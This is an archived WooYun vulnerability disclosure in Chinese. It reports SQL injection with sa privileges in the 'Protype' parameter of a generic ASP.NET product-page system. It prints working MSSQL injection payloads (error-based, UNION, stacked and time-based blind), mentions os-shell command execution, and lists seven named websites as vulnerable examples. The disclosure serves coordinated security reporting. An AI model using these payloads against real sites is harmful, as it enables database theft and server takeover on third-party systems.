当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081959

漏洞标题:某通用型系统SQL注射(SA)

相关厂商:cncert.cn

漏洞作者: 郭斯特

提交时间:2014-11-07 10:54

修复时间:2015-02-05 10:56

公开时间:2015-02-05 10:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-07: 细节已通知厂商并且等待厂商处理中
2014-11-11: 厂商已经确认,细节仅向厂商公开
2014-11-14: 细节向第三方安全合作伙伴开放
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-05: 细节向公众公开

简要描述:

RT~

详细说明:

前人发过一个注入点(参数id=)
WooYun: 某通用型系统SQL注射#2(SA权限)
全是sa 可执行os-shell 系统命令
Products.aspx?Protype=
Protype 单引号报错
Place: GET
Parameter: Protype
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
Payload: Protype='; IF(8472=8472) SELECT 8472 ELSE DROP FUNCTION bOGr--
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Protype=' AND 6927=CONVERT(INT,(CHAR(58) CHAR(107) CHAR(105) CHAR(9
7) CHAR(58) (SELECT (CASE WHEN (6927=6927) THEN CHAR(49) ELSE CHAR(48) END)) CHA
R(58) CHAR(97) CHAR(104) CHAR(108) CHAR(58))) AND 'vkKJ'='vkKJ
Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: Protype=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,CHAR(58) CHAR(107) CHAR(105) CHAR(97) CHAR(58) CHAR(112) CHA
R(65) CHAR(108) CHAR(109) CHAR(113) CHAR(65) CHAR(88) CHAR(87) CHAR(89) CHAR(86)
CHAR(58) CHAR(97) CHAR(104) CHAR(108) CHAR(58),NULL,NULL,NULL,NULL,NULL,NULL,NU
LL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Protype='; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Protype=' WAITFOR DELAY '0:0:5'--
案例1:
http://www.hongshunleather.com/Products.aspx?Protype=

wooyun.png


案例2:
http://abeeroo.com/Products.aspx?Protype=

wooyun.png


案例3:
http://www.piergitar.com/en/Products.aspx?Protype=%27

wooyun.png


案例4:
http://www.xysport.net/Products.aspx?Protype=

wooyun.png


漏洞证明:

案例5:
http://sjchaoqian.com/Products.aspx?Protype=

wooyun.png


案例6:
http://www.gdlonglongago.com/Products.aspx?Protype=%27
案例7:
http://www.gdlonglongago.com/Products.aspx?Protype=%27
and so on~

修复方案:

过滤

版权声明:转载请注明来源 郭斯特@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-11-11 10:22

厂商回复:

最新状态:

暂无


漏洞评价:

评论